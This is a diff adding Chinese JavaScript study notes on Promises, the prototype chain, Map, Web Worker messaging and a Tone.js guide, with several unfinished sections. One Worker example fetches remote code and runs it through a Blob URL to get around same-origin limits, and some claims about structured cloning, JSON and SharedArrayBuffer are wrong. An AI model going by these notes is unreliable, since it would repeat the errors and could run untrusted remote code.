[`Promise.reject(reason)`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject) + + 返回一个状态为失败的Promise对象,并将给定的失败信息传递给对应的处理方法 + +- [`Promise.resolve(value)`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve) + + 返回一个状态由给定value决定的Promise对象。如果该值是thenable(即,带有then方法的对象),返回的Promise对象的最终状态由then方法执行决定;否则的话(该value为空,基本类型或者不带then方法的对象),返回的Promise对象状态为fulfilled,并且将该value传递给对应的then方法。通常而言,如果您不知道一个值是否是Promise对象,使用Promise.resolve(value) 来返回一个Promise对象,这样就能将该value以Promise对象形式使用。 diff --git "a/src/JavaScript/Property\345\216\237\345\236\213\351\223\276\344\270\216\345\216\237\345\236\213\351\223\276.md" "b/src/JavaScript/Property\345\216\237\345\236\213\351\223\276\344\270\216\345\216\237\345\236\213\351\223\276.md" new file mode 100644 index 00000000..7542ed70 --- /dev/null +++ "b/src/JavaScript/Property\345\216\237\345\236\213\351\223\276\344\270\216\345\216\237\345\236\213\351\223\276.md" @@ -0,0 +1,180 @@ +--- +date: 2022-07-15 +category: +- 前端 +--- + +# 原型链与原型链 + +>作者:尼克陈 +>链接:https://juejin.cn/post/6934498361475072014 +>来源:稀土掘金 +> +>[参考来源](https://juejin.cn/post/6934498361475072014?share_token=e2859fb1-3aa3-4012-9530-402d4f6102b1#comment) +> +>仅作为学习笔记使用 + +### 四个规则 + +我们先来了解下面引用类型的四个规则: + +1、引用类型,都具有对象特性,即可自由扩展属性。 + +2、引用类型,都有一个隐式原型 `__proto__` 属性,属性值是一个普通的对象。 + +3、引用类型,隐式原型 `__proto__` 的属性值指向它的构造函数的显式原型 `prototype` 属性值。 + +4、当你试图得到一个对象的某个属性时,如果这个对象本身没有这个属性,那么它会去它的隐式原型 `__proto__`(也就是它的构造函数的显式原型 `prototype`)中寻找。 + +> 引用类型:Object、Array、Function、Date、RegExp。这里我姑且称 **proto** 为隐式原型,没有官方中文叫法,大家都瞎叫居多。 + +下面我们逐一验证上面几个规则,就会慢慢地理解原型和原型链。 + +#### 规则一 + +引用类型,**都具有对象特性,即可自由扩展属性:** + +```javascript +const obj = {} +const arr = [] +const fn = function () {} + +obj.a = 1 +arr.a = 1 +fn.a = 1 + +console.log(obj.a) // 1 +console.log(arr.a) // 1 +console.log(fn.a) // 1 +复制代码 +``` + +> 这个规则应该比较好理解,Date 和 RegExp 也一样,就不赘述了。 + +#### 规则二 + +引用类型,都有一个隐式原型 `__proto__` 属性,属性值是一个普通的对象: + +```javascript +const obj = {}; +const arr = []; +const fn = function() {} + +console.log('obj.__proto__', obj.__proto__); +console.log('arr.__proto__', arr.__proto__); +console.log('fn.__proto__', fn.__proto__); +复制代码 +``` + +![image.png](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8640c1029037485ca324b2cf61bdf928~tplv-k3u1fbpfcp-watermark.awebp) + +#### 规则三 + +引用类型,隐式原型 `__proto__` 的属性值指向它的构造函数的显式原型 `prototype` 属性值: + +```javascript +const obj = {}; +const arr = []; +const fn = function() {} + +obj.__proto__ == Object.prototype // true +arr.__proto__ === Array.prototype // true +fn.__proto__ == Function.prototype // true +``` + +#### 规则四 + +当你试图得到一个对象的某个属性时,如果这个对象本身没有这个属性,那么它会去它的隐式原型 `__proto__`(也就是它的构造函数的显式原型 `prototype`)中寻找: + +```javascript +const obj = { a:1 } +obj.toString +// ƒ toString() { [native code] } +复制代码 +``` + +首先, `obj` 对象并没有 `toString` 属性,之所以能获取到 `toString` 属性,是遵循了第四条规则,从它的构造函数 `Object` 的 `prototype` 里去获取。 + +## 特例 + +我试图想推翻上面的规则,看下面这段代码: + +```javascript +function Person(name) { + this.name = name + return this // 其实这行可以不写,默认返回 this 对象 +} + +var nick = new Person("nick") +nick.toString +// ƒ toString() { [native code] } +复制代码 +``` + +按理说, `nick` 是 `Person` 构造函数生成的实例,而 `Person` 的 `prototype` 并没有 `toString` 方法,那么为什么, `nick` 能获取到 `toString` 方法? + +这里就引出 `原型链` 的概念了, `nick` 实例先从自身出发检讨自己,发现并没有 `toString` 方法。找不到,就往上走,找 `Person` 构造函数的 `prototype` 属性,还是没找到。构造函数的 `prototype` 也是一个对象嘛,那对象的构造函数是 `Object` ,所以就找到了 `Object.prototype` 下的 `toString` 方法。 + +![image.png](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/dc4cc571148745f4b25545d3a7ccf73d~tplv-k3u1fbpfcp-watermark.awebp) + +> 上述寻找的过程就形成了原型链的概念,我理解的原型链就是这样一个过程。也不知道哪个人说过一句,JavaScript 里万物皆对象。从上述情况看来,好像是这么个理。🤔 + +## 图片描述 + +用图片描述原型链: + +![image.png](https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c631b657ca62427a8bdef1a2c145346a~tplv-k3u1fbpfcp-watermark.awebp) + +最后一个 `null`,设计上是为了避免死循环而设置的, `Object.prototype` 的隐式原型指向 `null`。 + +## 一个方法 + +`instanceof` 运算符用于测试构造函数的 `prototype` 属性是否出现在对象原型链中的任何位置。 `instanceof` 的简易手写版,如下所示: + +```javascript +// 变量R的原型 存在于 变量L的原型链上 +function instance_of (L, R) { + // 验证如果为基本数据类型,就直接返回 false + const baseType = ['string', 'number', 'boolean', 'undefined', 'symbol'] + if(baseType.includes(typeof(L))) { return false } + + let RP = R.prototype; // 取 R 的显示原型 + L = L.__proto__; // 取 L 的隐式原型 + while (true) { + if (L === null) { // 找到最顶层 + return false; + } + if (L === RP) { // 严格相等 + return true; + } + L = L.__proto__; // 没找到继续向上一层原型链查找 + } +} +复制代 +``` + +我们再来看下面这段代码: + +```javascript +function Foo(name) { + this.name = name; +} +var f = new Foo('nick') + +f instanceof Foo // true +f instanceof Object // true +``` + +上述代码判断流程大致如下: + +1、 `f instanceof Foo`: `f` 的隐式原型 `__proto__` 和 `Foo.prototype` ,是相等的,所以返回 `true` 。 + +2、 `f instanceof Object`: `f` 的隐式原型 `__proto__` ,和 `Object.prototype` 不等,所以继续往上走。 `f` 的隐式原型 `__proto__` 指向 `Foo.prototype` ,所以继续用 `Foo.prototype.__proto__` 去对比 `Object.prototype` ,这会儿就相等了,因为 `Foo.prototype` 就是一个普通的对象。 + +> 再一次验证万物皆对象。。。。 + +## 总结 + +通过四个特性、一个例子、一张图片、一个方法,大家应该对原型和原型链的关系有了大概的认知。我的认知就是,原型链就是一个过程,原型是原型链这个过程中的一个单位,贯穿整个原型链。就好像你要是看完了不点个赞,我可以顺着网线找到你。 + +**作用:**我们可以给对象的原型定义一些方法,有点像类的继承吧。比如基础类型 arrary 的map,reduce。实际上我们使用数组调用这些方法的时候,就是用原型查找到这个方法然后使用的。 diff --git "a/src/JavaScript/Set\357\274\214Map \345\222\214 Array\347\232\204\345\214\272\345\210\253.md" "b/src/JavaScript/Set\357\274\214Map \345\222\214 Array\347\232\204\345\214\272\345\210\253.md" new file mode 100644 index 00000000..8e1f977c --- /dev/null +++ "b/src/JavaScript/Set\357\274\214Map \345\222\214 Array\347\232\204\345\214\272\345\210\253.md" @@ -0,0 +1,28 @@ +# Set,Map 和 Array的区别 + +## Set 集合 + +todo + +## Map 字典 + +> `Map` 对象保存键值对,并且能够记住键的原始插入顺序。任何值(对象或者原始值)都可以作为一个键或一个值。 + +### 特征 + +- `Map` 对象这种数据结构和和对象类型,都已键值对的形式存储数据,即 `key-vlue` 形式。 + +- `Map` 对象存储的数据是有序的,而我们平常使用的对象是无序的,所以通常当我们需要使用对象形式(键值对)存储数据且需要有序时,采用 `Map` 对象进行存储。 + +- `Map` 对象的键值可以是任意类型,我们平时使用的对象只能使用字符串作为键。 + +### WeakMap + + + +## Array + + + +## 运行和使用比较 + diff --git "a/src/JavaScript/Vue \346\272\220\347\240\201\345\217\202\350\200\203.md" "b/src/JavaScript/Vue \346\272\220\347\240\201\345\217\202\350\200\203.md" new file mode 100644 index 00000000..8b137891 --- /dev/null +++ "b/src/JavaScript/Vue \346\272\220\347\240\201\345\217\202\350\200\203.md" @@ -0,0 +1 @@ + diff --git "a/src/JavaScript/Web Woker \344\270\216\344\270\273\347\272\277\347\250\213\351\200\232\344\277\241\345\234\272\346\231\257\344\270\213\345\257\271postMessage\347\232\204\347\256\200\346\264\201\345\260\201\350\243\205.md" "b/src/JavaScript/Web Woker \344\270\216\344\270\273\347\272\277\347\250\213\351\200\232\344\277\241\345\234\272\346\231\257\344\270\213\345\257\271postMessage\347\232\204\347\256\200\346\264\201\345\260\201\350\243\205.md" new file mode 100644 index 00000000..5c0ab2d0 --- /dev/null +++ "b/src/JavaScript/Web Woker \344\270\216\344\270\273\347\272\277\347\250\213\351\200\232\344\277\241\345\234\272\346\231\257\344\270\213\345\257\271postMessage\347\232\204\347\256\200\346\264\201\345\260\201\350\243\205.md" @@ -0,0 +1,28 @@ +# Web Woker 与主线程通信场景下对postMessage的简洁封装 + +在Web Worker与主线程之间进行通信时,使用`postMessage`是一种常见的方式。然而,在某些业务场景中,`postMessage`可能会显得不够简洁,因为它涉及到手动序列化和反序列化数据,以及通过事件监听器处理消息。以下是一些常见问题和解决方案,以简化在Web Worker与主线程之间的通信场景中使用`postMessage`的问题。 + +## 结构化克隆问题 + +在Web Worker与主线程之间传输数据时,使用postMessage()方法进行通信,浏览器会对传递的数据进行序列化和反序列化的过程,以便在不同的线程间传递数据。这个序列化和反序列化的过程就是结构化克隆(Structured Cloning)。 + +结构化克隆是一种浏览器内置的序列化和反序列化算法,它可以将复杂的JavaScript对象、数组、字符串、数字、布尔值等数据类型转换成一个可以在不同线程间传递的二进制数据流,然后再将这个二进制数据流反序列化为与原始数据相同的JavaScript对象。 + +结构化克隆有一些特点和限制: + +1. 支持的数据类型:结构化克隆支持包括对象、数组、字符串、数字、布尔值、日期、正则表达式、Blob、File、ImageData等常见的JavaScript数据类型。但并不支持函数、Map、Set、Symbol等一些特殊的JavaScript数据类型。 +2. 克隆整个对象:结构化克隆会克隆整个对象,包括对象的所有属性和方法。这可能会导致性能开销较大,尤其是在传输大规模数据时。 +3. 不共享内存:结构化克隆会生成一份完整的副本,而不是共享内存。这意味着在主线程和Web Worker之间传递数据时,会产生复制的开销,并且对数据的修改在不同线程中是不共享的。 +4. 兼容性:结构化克隆在大多数现代浏览器中得到支持,但并不是所有浏览器都支持。一些老旧的浏览器可能不支持结构化克隆或者只支持部分数据类型的结构化克隆。 + +在传输过程中,当使用postMessage()方法传递数据时,浏览器会自动使用结构化克隆对数据进行序列化和反序列化的过程,以便在不同线程间传递数据,但结构化克隆可能会带来性能开销和兼容性问题,需要根据具体情况来选择合适的解决方案。在不支持结构化克隆的浏览器下,使用postMessage()传输数据需要使用JSON对数据内容进行字符串转化和解析,这也会带来一定的性能损耗和数据类型限制。 + +### 优化方案 + +1. 分割数据:将大规模的数据分割成较小的块进行传递,而不是一次性传递整个数据。例如,可以将大型数组切割成多个小块,分别传递给Web Worker,然后在Web Worker中重新组合这些小块,从而减少单次传递的数据量。 +2. 使用共享内存:共享内存是一种在Web Worker和主线程之间共享数据的方式,而无需进行复制。这样可以避免结构化克隆的性能开销。共享内存可以通过使用TypedArray和ArrayBuffer来实现,可以在主线程和Web Worker之间直接共享数据的引用,而不需要进行复制。需要注意的是,共享内存可能需要使用锁或其他同步机制来确保对共享数据的访问是安全的。 +3. 使用其他序列化方式:除了结构化克隆,还可以考虑使用其他的序列化方式,例如JSON.stringify和JSON.parse。虽然JSON序列化和反序列化可能比结构化克隆更慢,但它不会像结构化克隆一样复制整个数据,而是将数据转换为JSON字符串,并在接收方解析JSON字符串成JavaScript对象。这样可以避免复制大规模的数据,从而降低性能开销。 +4. 使用压缩算法:对于大规模的数据,可以考虑使用压缩算法对数据进行压缩,从而减小数据的大小,降低传输的数据量。在接收方进行解压缩后再进行处理。常见的压缩算法有gzip、zlib等,可以在主线程和Web Worker之间使用这些算法对数据进行压缩和解压缩。 + +## postMessage简单封装 + diff --git "a/src/JavaScript/Web Woker \345\270\270\350\247\201\344\275\277\347\224\250\351\227\256\351\242\230\345\222\214\350\247\243\345\206\263\346\226\271\346\241\210.md" "b/src/JavaScript/Web Woker \345\270\270\350\247\201\344\275\277\347\224\250\351\227\256\351\242\230\345\222\214\350\247\243\345\206\263\346\226\271\346\241\210.md" new file mode 100644 index 00000000..27aa18ac --- /dev/null +++ "b/src/JavaScript/Web Woker \345\270\270\350\247\201\344\275\277\347\224\250\351\227\256\351\242\230\345\222\214\350\247\243\345\206\263\346\226\271\346\241\210.md" @@ -0,0 +1,256 @@ +# Web Woker 常见使用问题和解决方案 + +## 问题汇总 + +1. new Worker(aURL, options) URL 必须遵守同源策略。同源策略是浏览器的一种安全特性,限制了在不同源(协议、域名、端口)之间的 JavaScript 代码的访问。这意味着在 Web Worker 中,只能加载与当前页面在同一源下的脚本,否则会触发安全错误。 +2. Web Worker中限制了部分Web API。Web Worker 有一些限制,其中包括无法直接操作 DOM 和无法使用 localStorage。这是因为 Web Workers 是在独立的线程中运行的,与主线程分离,并且没有直接的访问主线程的 DOM 或 JavaScript 运行环境的能力。 +3. Web Worker与主线程的数据通信, 默认情况下Web Worker与主线程或其他Worker不能共享内存。Web Workers 默认情况下是无法直接共享内存的,因为它们在独立的线程中运行,拥有各自的运行环境和内存空间。 + +## 解决方案 + +### 利用Blob解决跨域限制 + +Web Workers 是一种在 JavaScript 中创建并在后台运行的多线程方式,可以用于执行耗时的任务而不会阻塞主线程。但是在使用 Web Workers 时,需要注意一些限制和解决方案,其中包括同源策略。这意味着在 Web Worker 中,只能加载与当前页面在同一源下的脚本,否则会触发安全错误。 + +```js +// 获取远程脚本代码 +fetch('https://example.com/remote-script.js') + .then(response => response.text()) + .then(scriptText => { + // 创建 Blob 对象 + const blob = new Blob([scriptText], { type: 'application/javascript' }); + + // 创建 Blob URL + const blobUrl = URL.createObjectURL(blob); + + // 创建 Web Worker + const worker = new Worker(blobUrl); + + // Web Worker 的消息处理逻辑 + worker.onmessage = function(event) { + // 处理 Web Worker 发送的消息 + console.log('Message from Web Worker:', event.data); + }; + + // 向 Web Worker 发送消息 + worker.postMessage('Hello from main thread!'); + }) + .catch(error => { + // 处理错误 + console.error('Failed to load remote script:', error); + }); + +``` + +在这个示例中,通过使用 `fetch()` 方法获取远程脚本代码,并将其作为 Blob 对象传递给 `Worker` 构造函数。然后,通过 Blob URL 创建一个 Web Worker,并在 Web Worker 中处理消息。由于 Blob URL 不受同源策略限制,因此可以加载远程的脚本代码。 + +需要注意的是,加载远程代码可能存在安全风险,因此在使用 Blob 对象加载远程代码时应谨慎,并确保加载的代码是可信的。此外,由于 Blob URL 是临时的,当不再需要时应使用 `URL.revokeObjectURL()` 方法来释放资源,以避免内存泄漏。 + +### 解决API限制 + +通过利用主线程对localStorage和DOM等API进行代理。Web Workers 可以通过 `postMessage()` 方法向主线程发送消息,主线程可以通过监听 `message` 事件来接收消息。通过这种方式,Web Worker 可以向主线程请求 DOM 操作或 localStorage 操作,并将结果作为消息发送回来。 + +Web Workers 可以通过 `postMessage()` 方法向主线程发送消息,主线程可以通过监听 `message` 事件来接收消息。通过这种方式,Web Worker 可以向主线程请求 DOM 操作或 localStorage 操作,并将结果作为消息发送回来。 + +```js +// 发送请求获取 localStorage 中的数据 +self.postMessage({ type: 'getLocalStorage', key: 'myKey' }); +``` + +```js +// 监听 Web Worker 发送的消息 +worker.onmessage = function(event) { + // 根据消息类型执行相应的操作 + if (event.data.type === 'getLocalStorage') { + // 从 localStorage 中获取数据 + const value = localStorage.getItem(event.data.key); + + // 发送结果回 Web Worker + worker.postMessage({ type: 'localStorageData', value }); + } +}; +``` + + +### 解决数据通信问题 + +Web Workers 默认情况下是无法直接共享内存的,因为它们在独立的线程中运行,拥有各自的运行环境和内存空间。 + +#### 利用`postMessage`传递 + +Web Workers 可以通过 `postMessage()` 方法向其他 Worker 或主线程发送消息,并通过监听 `message` 事件来接收消息。通过这种方式,可以在不同的 Workers 或主线程之间传递数据和进行通信。 + +```js +// 创建两个 Web Workers +const worker1 = new Worker('worker1.js'); +const worker2 = new Worker('worker2.js'); + +// 向 worker1 发送消息 +worker1.postMessage('Hello from main thread to worker1!'); + +// 监听 worker1 发送的消息 +worker1.onmessage = function(event) { + console.log('Message from worker1:', event.data); +}; + +// 向 worker2 发送消息 +worker2.postMessage('Hello from main thread to worker2!'); + +// 监听 worker2 发送的消息 +worker2.onmessage = function(event) { + console.log('Message from worker2:', event.data); +}; +``` + +在 worker1.js 中监听消息并向主线程回复: + +```js +// 监听主线程发送的消息 +self.onmessage = function(event) { + console.log('Message from main thread to worker1:', event.data); + + // 向主线程回复消息 + self.postMessage('Hello from worker1!'); +}; +``` + +在 worker2.js 中监听消息并向 worker1 发送消息: + +```js +// 监听主线程发送的消息 +self.onmessage = function(event) { + console.log('Message from main thread to worker2:', event.data); + + // 向 worker1 发送消息 + self.postMessage('Hello from worker2 to worker1!'); +}; +``` + +那么如果 `worker1.js` 想要和 `worker2.js` (兄弟Worker)进行通信呢?只使用`postMessage`,我想到的比较麻烦一点,就是通过主线程进行消息代理,例如以下方法进行改造: + +```js +// 创建两个 Web Workers +const worker1 = new Worker('worker1.js'); +const worker2 = new Worker('worker2.js'); + +// 向 worker1 发送消息 +worker1.postMessage('Hello from main thread to worker1!'); + +// 监听 worker1 发送的消息 +worker1.onmessage = function(event) { + console.log('Message from worker1:', event.data); + + // 如果 worker1 发送了消息给 worker2 + if (event.data.to === 'worker2') { + // 将消息转发给 worker2 + worker2.postMessage(event.data.message); + } +}; + +// 向 worker2 发送消息 +worker2.postMessage('Hello from main thread to worker2!'); + +// 监听 worker2 发送的消息 +worker2.onmessage = function(event) { + console.log('Message from worker2:', event.data); + + // 如果 worker2 发送了消息给 worker1 + if (event.data.to === 'worker1') { + // 将消息转发给 worker1 + worker1.postMessage(event.data.message); + } +}; +``` + +在 worker1.js 中,如果想要向 worker2 发送消息,可以通过将消息发送给主线程,并指定接收者为 worker2: + +```js +// 向主线程发送消息,并指定接收者为 worker2 +self.postMessage({ to: 'worker2', message: 'Hello from worker1 to worker2!' }); +``` + +在 worker2.js 中,如果想要向 worker1 发送消息,也可以通过将消息发送给主线程,并指定接收者为 worker1: + +```js +// 向主线程发送消息,并指定接收者为 worker1 +self.postMessage({ to: 'worker1', message: 'Hello from worker2 to worker1!' }); +``` + +这样就可以实现两个 Web Workers 之间的通信了。需要注意的是,由于主线程作为消息代理,可能会造成一定的性能开销,因此应该根据实际情况谨慎使用,更推荐以下使用的共享内存方法。 + +#### 共享内存 + + Web Workers 还提供了 `SharedArrayBuffer` 和 `Atomics` API,允许多个 Workers 共享同一块内存,从而实现更高效的数据共享和通信。 + +```js +// index.js +const sharedBuffer = new SharedArrayBuffer(4); // 创建一个共享内存,包含 4 个字节 +const worker1 = new Worker('worker1.js'); +const worker2 = new Worker('worker2.js'); + +// 向 worker1 和 worker2 传递共享内存 +worker1.postMessage({ type: 'buffer', buffer: sharedBuffer }); +worker2.postMessage({ type: 'buffer', buffer: sharedBuffer }); +``` + +接收共享内存,并使用 `Atomics` API 进行原子操作: + +```js +// worker1 +self.onmessage = (event) => { + const data = event.data; + if (data.type === 'buffer') { + const sharedArray = new Int32Array(data.buffer); // 创建一个 Int32Array 视图来访问共享内存 + + // 在共享内存中进行原子加法操作 + Atomics.add(sharedArray, 0, 1); // 将共享内存中索引为 0 的值增加 1 + + // 向 worker2 发送一个消息,包含共享内存中索引为 0 的值 + self.postMessage({ type: 'value', value: sharedArray[0] }); + } +}; +``` + + +```js +// worker2 +self.onmessage = (event) => { + const data = event.data; + if (data.type === 'buffer') { + const sharedArray = new Int32Array(data.buffer); // 创建一个 Int32Array 视图来访问共享内存 + + // 在共享内存中进行原子加法操作 + Atomics.add(sharedArray, 0, 2); // 将共享内存中索引为 0 的值增加 2 + + // 向主线程发送一个消息,包含共享内存中索引为 0 的值 + self.postMessage({ type: 'value', value: sharedArray[0] }); + } +}; +``` + +在主线程中,分别接收来自 worker1 和 worker2 的消息,并输出共享内存中的值: + +```js +// index.js +// 接收来自 worker1 的消息,并输出共享内存中的值 +worker1.onmessage = (event) => { + const data = event.data; + if (data.type === 'value') { + console.log('worker1 value:', data.value); // 输出共享内存中索引为 0 的值 + } +}; + +// 接收来自 worker2 的消息,并输出共享内存中的值 +worker2.onmessage = (event) => { + const data = event.data; + if (data.type === 'value') { + console.log('worker2 value:', data.value); // 输出共享内存中索引为 0 的值 + } +}; +``` + +`SharedArrayBuffer` 是一种特殊的 ArrayBuffer,它可以在多个 Workers 之间共享,允许它们在同一块内存中进行读写操作。与普通的 ArrayBuffer 不同,`SharedArrayBuffer` 不受同源策略限制,因此可以在不同源的 Workers 之间进行共享。 + +`Atomics` API 则提供了一组原子操作,用于在共享的内存中进行同步和协调访问。它包括了一些常见的原子操作,例如原子加法、原子减法、原子比较和交换等,可以保证多个 Workers 在访问共享内存时的原子性操作,避免了数据竞争和不一致性的问题。 + +通过使用 `SharedArrayBuffer` 和 `Atomics` API,多个 Workers 可以在共享的内存中进行高效的数据操作,从而实现更快速和高效的数据共享和通信,尤其对于大规模数据处理或复杂计算的场景下,可以显著提升性能。然而,需要注意的是,由于共享内存可能涉及到并发访问和竞态条件,使用 `SharedArrayBuffer` 和 `Atomics` API 需要谨慎处理,并遵循相关的安全性和最佳实践,以确保数据的正确性和一致性。 \ No newline at end of file diff --git "a/src/JavaScript/WebAudio/Tone.js \346\241\206\346\236\266\351\243\237\347\224\250\346\214\207\345\215\227.md" "b/src/JavaScript/WebAudio/Tone.js \346\241\206\346\236\266\351\243\237\347\224\250\346\214\207\345\215\227.md" new file mode 100644 index 00000000..96a9d5e4 --- /dev/null +++ "b/src/JavaScript/WebAudio/Tone.js \346\241\206\346\236\266\351\243\237\347\224\250\346\214\207\345\215\227.md" @@ -0,0 +1,239 @@ +# Tone.js —— Web Audio 框架中文使用指南 + +Tone.js 是一个Web Audio框架,用于在浏览器中创建交互式音乐。Tone.js旨在使音乐家和基于Web Audio 应用程序的音频程序员都能熟悉应用。在应用层,Tone.js 提供了常见的DAW(数字音频工作站)功能,如用于同步和调度事件的全局传输,以及预构建的合成器和音效。此外,Tone.js 提供高性能的构建模块,以创建您自己的合成器、音效和复杂的控制信号。 + +## 安装 + +安装最新稳定版本 + +```shell +npm install tone +``` + +或者安装最新`next`版本 + +```shell +npm install tone@next +``` + +导入Tone.js + +```shell +import * as Tone from 'tone' +``` + +## Hello Tone + +```js +//创建一个synth并将其连接到主输出设备(您的扬声器) +const synth = new Tone.Synth().toDestination(); + +//播放中 'C' 调在8个音符的持续时间内 +synth.triggerAttackRelease("C4", "8n"); +``` + +### Tone.Synth + +`Tone.Synth` 是一个具有单[**振荡器**](https://tonejs.github.io/docs/14.7.77/OmniOscillator.html)和ADSR [Envelope **(波封)**](https://tonejs.github.io/docs/14.7.77/Envelope.html)的基本合成器。 + +> 波封(Envelope)是指将一种音色波形的大致轮廓描绘出来用以表示出该音色在音量变化上的特性的参数。 一个波封可以用4种参数来描述,分别是Attack(起音)、Decay(衰减)、Sustain(延持)、与Release(释音),这四者也就是一般称的“ADSR”。 +> +> Tone中,Envelope是ADSR信封生成器。信封输出一个信号,可以连接到AudioParam或Tone.Signal。 + +#### triggerAttack / triggerRelease + +triggerAttack启动音符(振幅在上升),而triggerRelease是当振幅回到0(即音符关闭)。 + +```js +const synth = new Tone.Synth().toDestination(); +const now = Tone.now() +// trigger the attack immediately +synth.triggerAttack("C4", now) +// wait one second before triggering the release +synth.triggerRelease(now + 1) +``` + +#### triggerAttackRelease + +`triggerAttackRelease`是`triggerAttack`和`triggerRelease`的组合 + +音符的第一个参数可以是赫兹频率(如440)或“音高-八度”符号(如“d# 2”)。 + +第二个参数是音符的持续时间。该值可以以秒为单位,也可以作为一个时间相对值。 + +`triggerAttackRelease`的第三个(可选)参数是音符在`AudioContext`时间内应该播放的时间。它可以用于计划未来事件。 + +```js +const synth = new Tone.Synth().toDestination(); +const now = Tone.now() +synth.triggerAttackRelease("C4", "8n", now) +synth.triggerAttackRelease("E4", "8n", now + 0.5) +synth.triggerAttackRelease("G4", "8n", now + 1) +``` + +## Time 时间 + +Web Audio具有先进的,样本精确调度功能。AudioContext时间是Web Audio API用来安排事件的时间,随当页面加载时从0开始,以秒为单位进行计数。 + +获取当前AudioContext时间 + +```js +setInterval(() => console.log(Tone.now()), 100); +``` + +Tone.js 抽象了AudioContext时间。任何以时间为参数的方法都可以接受数字或字符串,而不是以秒为单位定义所有值。例如,“4n”是四分音符,“8t”是八分音符三连音,“1m”是一个小节。 + +## Starting Audio 启动音频 + +浏览器不会播放任何音频,直到用户点击某些东西(如播放按钮)。只有在从事件监听器中调用`Tone.start()`之后,才能运行你的Tone.js代码,该事件监听器是由用户操作(如“单击”或“按下键”)触发的。 + +Tone.start()返回一个承诺,只有在该承诺被解决后,音频才会准备好。在AudioContext运行之前调度或播放音频将导致静默或不正确的调度。 + +```js +document.querySelector('button')?.addEventListener('click', async () => { + await Tone.start() + console.log('audio is ready') +}) +``` + +## Scheduling 调度 + +### Transport + +`Tone.Transport`是主要的计时工具。与AudioContext时钟不同的是,它可以启动、停止、循环和动态调整。你可以把它想象成数字音频工作站中的排列视图或跟踪器中的通道。 + +多个事件和部分可以沿着传输安排和同步。`Tone.Loop`是一种创建循环回调的简单方法,可以计划启动和停止。 + +```js +// create two monophonic synths +const synthA = new Tone.FMSynth().toDestination(); +const synthB = new Tone.AMSynth().toDestination(); +//play a note every quarter-note +const loopA = new Tone.Loop(time => { + synthA.triggerAttackRelease("C2", "8n", time); +}, "4n").start(0); +//play another note every off quarter-note, by starting it "8n" +const loopB = new Tone.Loop(time => { + synthB.triggerAttackRelease("C4", "8n", time); +}, "4n").start("8n"); +// the loops start when the Transport is started +Tone.Transport.start() +// ramp up to 800 bpm over 10 seconds +Tone.Transport.bpm.rampTo(800, 10); +``` + +由于Javascript回调的时间不精确,事件的采样精确时间被传递到回调函数中。使用此时间值调度事件。 + +## Instruments 乐器 + +这里有许多合成器可供选择,包括 Tone.FMSynth, Tone.AMSynth and Tone.NoiseSynth. + +所有这些乐器都是单声道(单声道),这意味着它们一次只能演奏一个音符。 + +要创建一个复音合成器,请使用`Tone.PolySynth`,它接受单音合成器作为它的第一个参数,并自动处理音符分配,以便您可以传入多个音符。该API类似于单音合成,只是必须给triggerRelease一个音符或音符数组。 + +```js +const synth = new Tone.PolySynth(Tone.Synth).toDestination(); +const now = Tone.now() +synth.triggerAttack("D4", now); +synth.triggerAttack("F4", now + 0.5); +synth.triggerAttack("A4", now + 1); +synth.triggerAttack("C5", now + 1.5); +synth.triggerAttack("E5", now + 2); +synth.triggerRelease(["D4", "F4", "A4", "C5", "E5"], now + 4); +``` + +## Samples 采样器 + +声音生成并不局限于合成声音,还可以加载一个示例并以多种方式回放它。`Tone.Player`是一种加载和播放音频文件的方法。 + +```js +const player = new Tone.Player("https://tonejs.github.io/audio/berklee/gong_1.mp3").toDestination(); +Tone.loaded().then(() => { + player.start(); +}); +``` + +`Tone.loaded()`返回一个promise,该promise在所有音频文件加载后解析。这是一种很有帮助的简写,而不是等待每个音频缓冲区的onload事件来解决。 + +### Tone.Sampler + +多个采样器也可以组合成一个仪器。如果你的音频文件是按音符组织的,音调。采样器将音调转移的样本填补音符之间的空白。举个例子,如果你只有一架钢琴上每3个音符的样本,你可以把它变成一架完整的钢琴样本。 + +不像其他合成器,托尼。采样器是复调的,所以不需要传递到`Tone.PolySynth` + +```js +const sampler = new Tone.Sampler({ + urls: { + "C4": "C4.mp3", + "D#4": "Ds4.mp3", + "F#4": "Fs4.mp3", + "A4": "A4.mp3", + }, + release: 1, + baseUrl: "https://tonejs.github.io/audio/salamander/", +}).toDestination(); + +Tone.loaded().then(() => { + sampler.triggerAttackRelease(["Eb4", "G4", "Bb4"], 4); +}) +``` + +## Effects 音效 + +在上面的例子中,音源总是直接连接到`Destination`,但synth的输出也可以通过一个(或多个)效果路由到扬声器。 + +```js +const player = new Tone.Player({ + url: "https://tonejs.github.io/audio/berklee/gurgling_theremin_1.mp3", + loop: true, + autostart: true, +}) +//create a distortion effect +const distortion = new Tone.Distortion(0.4).toDestination(); +//connect a player to the distortion +player.connect(distortion); +``` + +连接路由非常灵活。连接可以串行运行,也可以并行运行。 + +```js +const player = new Tone.Player({ + url: "https://tonejs.github.io/audio/drum-samples/loops/ominous.mp3", + autostart: true, +}); +const filter = new Tone.Filter(400, 'lowpass').toDestination(); +const feedbackDelay = new Tone.FeedbackDelay(0.125, 0.5).toDestination(); + +// connect the player to the feedback delay and filter in parallel +player.connect(filter); +player.connect(feedbackDelay); +``` + +多个节点可以连接到相同的输入,使音源共享效果。对于创建复杂的路由,`Tone.Gain`是非常有用的实用节点。 + +## Signals 信号 + +和底层的Web Audio API一样,Tone.js构建时几乎所有内容都有音频速率信号控制。这是一个功能强大的特性,可以实现样本精确的同步和参数调度。 + +信号属性有一些用于创建自动化曲线的内置方法。 + +例如,振荡器上的频率参数是一个信号,因此您可以创建从一个频率到另一个频率的平滑斜坡。 + +```js +const osc = new Tone.Oscillator().toDestination(); +// start at "C4" +osc.frequency.value = "C4"; +// ramp to "C2" over 2 seconds +osc.frequency.rampTo("C2", 2); +// start the oscillator for 2 seconds +osc.start().stop("+3"); +``` + +## AudioContext 音频上下文 + +js在加载时创建一个`AudioContext`,并使用标准化的`audio-context`填充它以获得最大的浏览器兼容性。`AudioContext`可以在`Tone.context`中访问。或者使用`Tone.setContext(AudioContext)`设置自己的`AudioContext`。 + +## MIDI 文件 + +要使用MIDI文件,首先需要将它们转换成JSON格式,使得Tone.js可以读取。 diff --git 